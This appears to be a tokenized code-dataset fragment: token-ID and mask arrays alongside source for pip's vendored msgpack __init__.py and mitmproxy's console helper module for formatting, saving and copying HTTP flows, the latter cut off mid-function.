1738,
12,
7606,
12,
1584,
315,
747,
14,
7757,
8,
10484,
63,
3022,
304,
267,
340,
1738,
14,
4130,
480,
3700,
305,
1195,
2349,
288,
1980,
398,
367,
570,
315,
1584,
26,
288,
340,
570,
14,
4130,
9520,
87,
3308,
2349,
355,
5496,
63,
344,
275,
664,
18150,
998,
8,
736,
14,
515,
14,
4846,
8,
736,
14,
515,
14,
7973,
8,
493,
2788,
16,
2459,
355,
340,
440,
5496,
63,
344,
26,
490,
1595,
63,
1205,
275,
756,
490,
1980,
355,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
6713,
9744,
8,
490,
298,
4600,
1760,
446,
85,
446,
84,
336,
3308,
446,
81,
446,
78,
450,
83,
2,
450,
5496,
63,
344,
9,
355,
367,
1004,
315,
1072,
26,
490,
340,
298,
6782,
2,
315,
1004,
26,
717,
1595,
63,
1205,
275,
756,
717,
2059,
339,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
6713,
9744,
8,
267,
298,
5682,
446,
3941,
450,
83,
2,
450,
30281,
63,
12447,
63,
3022,
9,
272,
340,
372,
63,
600,
1137,
378,
26,
267,
1595,
63,
1205,
275,
756,
339,
372,
1595,
63,
1205,
421,
199,
318,
2727,
18150,
83,
837,
272,
1595,
63,
1205,
275,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
randyzingle/tools
|
kub/services/archive/cdk/python/sample-app/.env/lib/python3.6/site-packages/pip/_vendor/msgpack/__init__.py
|
10
|
1535
|
# coding: utf-8
from ._version import version
from .exceptions import *
from collections import namedtuple
class ExtType(namedtuple('ExtType', 'code data')):
"""ExtType represents ext type in msgpack."""
def __new__(cls, code, data):
if not isinstance(code, int):
raise TypeError("code must be int")
if not isinstance(data, bytes):
raise TypeError("data must be bytes")
if not 0 <= code <= 127:
raise ValueError("code must be 0~127")
return super(ExtType, cls).__new__(cls, code, data)
import os
if os.environ.get('MSGPACK_PUREPYTHON'):
from .fallback import Packer, unpackb, Unpacker
else:
try:
from ._cmsgpack import Packer, unpackb, Unpacker
except ImportError:
from .fallback import Packer, unpackb, Unpacker
def pack(o, stream, **kwargs):
"""
Pack object `o` and write it to `stream`
See :class:`Packer` for options.
"""
packer = Packer(**kwargs)
stream.write(packer.pack(o))
def packb(o, **kwargs):
"""
Pack object `o` and return packed bytes
See :class:`Packer` for options.
"""
return Packer(**kwargs).pack(o)
def unpack(stream, **kwargs):
"""
Unpack an object from `stream`.
Raises `ExtraData` when `stream` contains extra bytes.
See :class:`Unpacker` for options.
"""
data = stream.read()
return unpackb(data, **kwargs)
# alias for compatibility to simplejson/marshal/pickle.
load = unpack
loads = unpackb
dump = pack
dumps = packb
|
apache-2.0
|
[
3,
2803,
26,
2774,
13,
24,
199,
504,
13653,
1023,
492,
1015,
199,
504,
1275,
3924,
492,
627,
199,
199,
504,
5055,
492,
12863,
421,
199,
533,
7255,
804,
8,
18921,
360,
4942,
804,
297,
283,
600,
666,
8109,
272,
408,
4942,
804,
8469,
1599,
730,
315,
26635,
1041,
272,
347,
636,
1222,
721,
1886,
12,
1233,
12,
666,
304,
267,
340,
440,
1228,
8,
600,
12,
1109,
304,
288,
746,
3146,
480,
600,
1471,
506,
1109,
531,
267,
340,
440,
1228,
8,
576,
12,
2783,
304,
288,
746,
3146,
480,
576,
1471,
506,
2783,
531,
267,
340,
440,
378,
2695,
1233,
2695,
12792,
26,
288,
746,
1722,
480,
600,
1471,
506,
378,
94,
4195,
531,
267,
372,
1613,
8,
4942,
804,
12,
843,
2843,
1222,
721,
1886,
12,
1233,
12,
666,
9,
421,
199,
646,
747,
199,
692,
747,
14,
2314,
14,
362,
360,
9740,
6961,
63,
48,
3942,
11720,
735,
272,
687,
1275,
10538,
492,
9954,
281,
12,
7787,
66,
12,
31017,
281,
199,
2836,
26,
272,
862,
26,
267,
687,
13653,
67,
1328,
1389,
492,
9954,
281,
12,
7787,
66,
12,
31017,
281,
272,
871,
3545,
26,
267,
687,
1275,
10538,
492,
9954,
281,
12,
7787,
66,
12,
31017,
281,
421,
199,
318,
1706,
8,
79,
12,
2547,
12,
1011,
958,
304,
272,
408,
272,
9954,
909,
658,
79,
64,
436,
2218,
652,
370,
658,
1745,
64,
339,
1666,
520,
533,
1705,
2305,
281,
64,
367,
1511,
14,
272,
408,
272,
1706,
281,
275,
9954,
281,
3682,
958,
9,
272,
2547,
14,
952,
8,
1389,
281,
14,
1389,
8,
79,
430,
421,
199,
318,
1706,
66,
8,
79,
12,
1011,
958,
304,
272,
408,
272,
9954,
909,
658,
79,
64,
436,
372,
13170,
2783,
339,
1666,
520,
533,
1705,
2305,
281,
64,
367,
1511,
14,
272,
408,
272,
372,
9954,
281,
3682,
958,
680,
1389,
8,
79,
9,
421,
199,
318,
7787,
8,
1745,
12,
1011,
958,
304,
272,
408,
272,
31017,
376,
909,
687,
658,
1745,
2313,
339,
6218,
658,
7426,
1451,
64,
1380,
658,
1745,
64,
3509,
2402,
2783,
14,
272,
1666,
520,
533,
1705,
26472,
281,
64,
367,
1511,
14,
272,
408,
272,
666,
275,
2547,
14,
739,
342,
272,
372,
7787,
66,
8,
576,
12,
1011,
958,
9,
421,
199,
3,
5162,
367,
7163,
370,
13804,
15,
18376,
15,
8092,
14,
199,
912,
275,
7787,
199,
3640,
275,
7787,
66,
199,
199,
2724,
275,
1706,
199,
4180,
275,
1706,
66,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2803,
26,
2774,
13,
24,
199,
504,
13653,
1023,
492,
1015,
199,
504,
1275,
3924,
492,
627,
199,
199,
504,
5055,
492,
12863,
421,
199,
533,
7255,
804,
8,
18921,
360,
4942,
804,
297,
283,
600,
666,
8109,
272,
408,
4942,
804,
8469,
1599,
730,
315,
26635,
1041,
272,
347,
636,
1222,
721,
1886,
12,
1233,
12,
666,
304,
267,
340,
440,
1228,
8,
600,
12,
1109,
304,
288,
746,
3146,
480,
600,
1471,
506,
1109,
531,
267,
340,
440,
1228,
8,
576,
12,
2783,
304,
288,
746,
3146,
480,
576,
1471,
506,
2783,
531,
267,
340,
440,
378,
2695,
1233,
2695,
12792,
26,
288,
746,
1722,
480,
600,
1471,
506,
378,
94,
4195,
531,
267,
372,
1613,
8,
4942,
804,
12,
843,
2843,
1222,
721,
1886,
12,
1233,
12,
666,
9,
421,
199,
646,
747,
199,
692,
747,
14,
2314,
14,
362,
360,
9740,
6961,
63,
48,
3942,
11720,
735,
272,
687,
1275,
10538,
492,
9954,
281,
12,
7787,
66,
12,
31017,
281,
199,
2836,
26,
272,
862,
26,
267,
687,
13653,
67,
1328,
1389,
492,
9954,
281,
12,
7787,
66,
12,
31017,
281,
272,
871,
3545,
26,
267,
687,
1275,
10538,
492,
9954,
281,
12,
7787,
66,
12,
31017,
281,
421,
199,
318,
1706,
8,
79,
12,
2547,
12,
1011,
958,
304,
272,
408,
272,
9954,
909,
658,
79,
64,
436,
2218,
652,
370,
658,
1745,
64,
339,
1666,
520,
533,
1705,
2305,
281,
64,
367,
1511,
14,
272,
408,
272,
1706,
281,
275,
9954,
281,
3682,
958,
9,
272,
2547,
14,
952,
8,
1389,
281,
14,
1389,
8,
79,
430,
421,
199,
318,
1706,
66,
8,
79,
12,
1011,
958,
304,
272,
408,
272,
9954,
909,
658,
79,
64,
436,
372,
13170,
2783,
339,
1666,
520,
533,
1705,
2305,
281,
64,
367,
1511,
14,
272,
408,
272,
372,
9954,
281,
3682,
958,
680,
1389,
8,
79,
9,
421,
199,
318,
7787,
8,
1745,
12,
1011,
958,
304,
272,
408,
272,
31017,
376,
909,
687,
658,
1745,
2313,
339,
6218,
658,
7426,
1451,
64,
1380,
658,
1745,
64,
3509,
2402,
2783,
14,
272,
1666,
520,
533,
1705,
26472,
281,
64,
367,
1511,
14,
272,
408,
272,
666,
275,
2547,
14,
739,
342,
272,
372,
7787,
66,
8,
576,
12,
1011,
958,
9,
421,
199,
3,
5162,
367,
7163,
370,
13804,
15,
18376,
15,
8092,
14,
199,
912,
275,
7787,
199,
3640,
275,
7787,
66,
199,
199,
2724,
275,
1706,
199,
4180,
275,
1706,
66,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
ZeYt/mitmproxy
|
libmproxy/console/common.py
|
3
|
11712
|
from __future__ import absolute_import
import urwid
import urwid.util
import os
from netlib.http.semantics import CONTENT_MISSING
import netlib.utils
from .. import utils
from ..models import decoded
from . import signals
try:
import pyperclip
except:
pyperclip = False
VIEW_FLOW_REQUEST = 0
VIEW_FLOW_RESPONSE = 1
METHOD_OPTIONS = [
("get", "g"),
("post", "p"),
("put", "u"),
("head", "h"),
("trace", "t"),
("delete", "d"),
("options", "o"),
("edit raw", "e"),
]
def is_keypress(k):
"""
Is this input event a keypress?
"""
if isinstance(k, basestring):
return True
def highlight_key(str, key, textattr="text", keyattr="key"):
l = []
parts = str.split(key, 1)
if parts[0]:
l.append((textattr, parts[0]))
l.append((keyattr, key))
if parts[1]:
l.append((textattr, parts[1]))
return l
KEY_MAX = 30
def format_keyvals(lst, key="key", val="text", indent=0):
"""
Format a list of (key, value) tuples.
If key is None, it's treated specially:
- We assume a sub-value, and add an extra indent.
- The value is treated as a pre-formatted list of directives.
"""
ret = []
if lst:
maxk = min(max(len(i[0]) for i in lst if i and i[0]), KEY_MAX)
for i, kv in enumerate(lst):
if kv is None:
ret.append(urwid.Text(""))
else:
if isinstance(kv[1], urwid.Widget):
v = kv[1]
elif kv[1] is None:
v = urwid.Text("")
else:
v = urwid.Text([(val, kv[1])])
ret.append(
urwid.Columns(
[
("fixed", indent, urwid.Text("")),
(
"fixed",
maxk,
urwid.Text([(key, kv[0] or "")])
),
v
],
dividechars = 2
)
)
return ret
def shortcuts(k):
if k == " ":
k = "page down"
elif k == "j":
k = "down"
elif k == "k":
k = "up"
return k
def fcol(s, attr):
s = unicode(s)
return (
"fixed",
len(s),
urwid.Text(
[
(attr, s)
]
)
)
if urwid.util.detected_encoding:
SYMBOL_REPLAY = u"\u21ba"
SYMBOL_RETURN = u"\u2190"
SYMBOL_MARK = u"\u25cf"
else:
SYMBOL_REPLAY = u"[r]"
SYMBOL_RETURN = u"<-"
SYMBOL_MARK = "[m]"
def raw_format_flow(f, focus, extended, padding):
f = dict(f)
pile = []
req = []
if extended:
req.append(
fcol(
utils.format_timestamp(f["req_timestamp"]),
"highlight"
)
)
else:
req.append(fcol(">>" if focus else " ", "focus"))
if f["marked"]:
req.append(fcol(SYMBOL_MARK, "mark"))
if f["req_is_replay"]:
req.append(fcol(SYMBOL_REPLAY, "replay"))
req.append(fcol(f["req_method"], "method"))
preamble = sum(i[1] for i in req) + len(req) - 1
if f["intercepted"] and not f["acked"]:
uc = "intercept"
elif f["resp_code"] or f["err_msg"]:
uc = "text"
else:
uc = "title"
req.append(
urwid.Text([(uc, f["req_url"])])
)
pile.append(urwid.Columns(req, dividechars=1))
resp = []
resp.append(
("fixed", preamble, urwid.Text(""))
)
if f["resp_code"]:
codes = {
2: "code_200",
3: "code_300",
4: "code_400",
5: "code_500",
}
ccol = codes.get(f["resp_code"] / 100, "code_other")
resp.append(fcol(SYMBOL_RETURN, ccol))
if f["resp_is_replay"]:
resp.append(fcol(SYMBOL_REPLAY, "replay"))
resp.append(fcol(f["resp_code"], ccol))
if f["intercepted"] and f["resp_code"] and not f["acked"]:
rc = "intercept"
else:
rc = "text"
if f["resp_ctype"]:
resp.append(fcol(f["resp_ctype"], rc))
resp.append(fcol(f["resp_clen"], rc))
resp.append(fcol(f["roundtrip"], rc))
elif f["err_msg"]:
resp.append(fcol(SYMBOL_RETURN, "error"))
resp.append(
urwid.Text([
(
"error",
f["err_msg"]
)
])
)
pile.append(urwid.Columns(resp, dividechars=1))
return urwid.Pile(pile)
# Save file to disk
def save_data(path, data, master, state):
if not path:
return
try:
with file(path, "wb") as f:
f.write(data)
except IOError as v:
signals.status_message.send(message=v.strerror)
def ask_save_overwite(path, data, master, state):
if not path:
return
path = os.path.expanduser(path)
if os.path.exists(path):
def save_overwite(k):
if k == "y":
save_data(path, data, master, state)
signals.status_prompt_onekey.send(
prompt = "'" + path + "' already exists. Overwite?",
keys = (
("yes", "y"),
("no", "n"),
),
callback = save_overwite
)
else:
save_data(path, data, master, state)
def ask_save_path(prompt, data, master, state):
signals.status_prompt_path.send(
prompt = prompt,
callback = ask_save_overwite,
args = (data, master, state)
)
def copy_flow_format_data(part, scope, flow):
if part == "u":
data = flow.request.url
else:
data = ""
if scope in ("q", "a"):
if flow.request.content is None or flow.request.content == CONTENT_MISSING:
return None, "Request content is missing"
with decoded(flow.request):
if part == "h":
data += flow.client_conn.protocol.assemble(flow.request)
elif part == "c":
data += flow.request.content
else:
raise ValueError("Unknown part: {}".format(part))
if scope == "a" and flow.request.content and flow.response:
# Add padding between request and response
data += "\r\n" * 2
if scope in ("s", "a") and flow.response:
if flow.response.content is None or flow.response.content == CONTENT_MISSING:
return None, "Response content is missing"
with decoded(flow.response):
if part == "h":
data += flow.client_conn.protocol.assemble(flow.response)
elif part == "c":
data += flow.response.content
else:
raise ValueError("Unknown part: {}".format(part))
return data, False
def copy_flow(part, scope, flow, master, state):
"""
part: _c_ontent, _h_eaders+content, _u_rl
scope: _a_ll, re_q_uest, re_s_ponse
"""
data, err = copy_flow_format_data(part, scope, flow)
if err:
signals.status_message.send(message=err)
return
if not data:
if scope == "q":
signals.status_message.send(message="No request content to copy.")
elif scope == "s":
signals.status_message.send(message="No response content to copy.")
else:
signals.status_message.send(message="No contents to copy.")
return
# pyperclip calls encode('utf-8') on data to be copied without checking.
# if data are already encoded that way UnicodeDecodeError is thrown.
toclip = ""
try:
toclip = data.decode('utf-8')
except (UnicodeDecodeError):
toclip = data
try:
pyperclip.copy(toclip)
except (RuntimeError, UnicodeDecodeError, AttributeError):
def save(k):
if k == "y":
ask_save_path("Save data", data, master, state)
signals.status_prompt_onekey.send(
prompt = "Cannot copy data to clipboard. Save as file?",
keys = (
("yes", "y"),
("no", "n"),
),
callback = save
)
def ask_copy_part(scope, flow, master, state):
choices = [
("content", "c"),
("headers+content", "h")
]
if scope != "s":
choices.append(("url", "u"))
signals.status_prompt_onekey.send(
prompt = "Copy",
keys = choices,
callback = copy_flow,
args = (scope, flow, master, state)
)
def ask_save_body(part, master, state, flow):
"""
Save either the request or the response body to disk. part can either be
"q" (request), "s" (response) or None (ask user if necessary).
"""
request_has_content = flow.request and flow.request.content
response_has_content = flow.response and flow.response.content
if part is None:
# We first need to determine whether we want to save the request or the
# response content.
if request_has_content and response_has_content:
signals.status_prompt_onekey.send(
prompt = "Save",
keys = (
("request", "q"),
("response", "s"),
),
callback = ask_save_body,
args = (master, state, flow)
)
elif response_has_content:
ask_save_body("s", master, state, flow)
else:
ask_save_body("q", master, state, flow)
elif part == "q" and request_has_content:
ask_save_path(
"Save request content",
flow.request.get_decoded_content(),
master,
state
)
elif part == "s" and response_has_content:
ask_save_path(
"Save response content",
flow.response.get_decoded_content(),
master,
state
)
else:
signals.status_message.send(message="No content to save.")
flowcache = utils.LRUCache(800)
def format_flow(f, focus, extended=False, hostheader=False, padding=2,
marked=False):
d = dict(
intercepted = f.intercepted,
acked = f.reply.acked,
req_timestamp = f.request.timestamp_start,
req_is_replay = f.request.is_replay,
req_method = f.request.method,
req_url = f.request.pretty_url(hostheader=hostheader),
err_msg = f.error.msg if f.error else None,
resp_code = f.response.code if f.response else None,
marked = marked,
)
if f.response:
if f.response.content:
contentdesc = netlib.utils.pretty_size(len(f.response.content))
elif f.response.content == CONTENT_MISSING:
contentdesc = "[content missing]"
else:
contentdesc = "[no content]"
duration = 0
if f.response.timestamp_end and f.request.timestamp_start:
duration = f.response.timestamp_end - f.request.timestamp_start
roundtrip = utils.pretty_duration(duration)
d.update(dict(
resp_code = f.response.code,
resp_is_replay = f.response.is_replay,
resp_clen = contentdesc,
roundtrip = roundtrip,
))
t = f.response.headers.get("content-type")
if t:
d["resp_ctype"] = t.split(";")[0]
else:
d["resp_ctype"] = ""
return flowcache.get(
raw_format_flow,
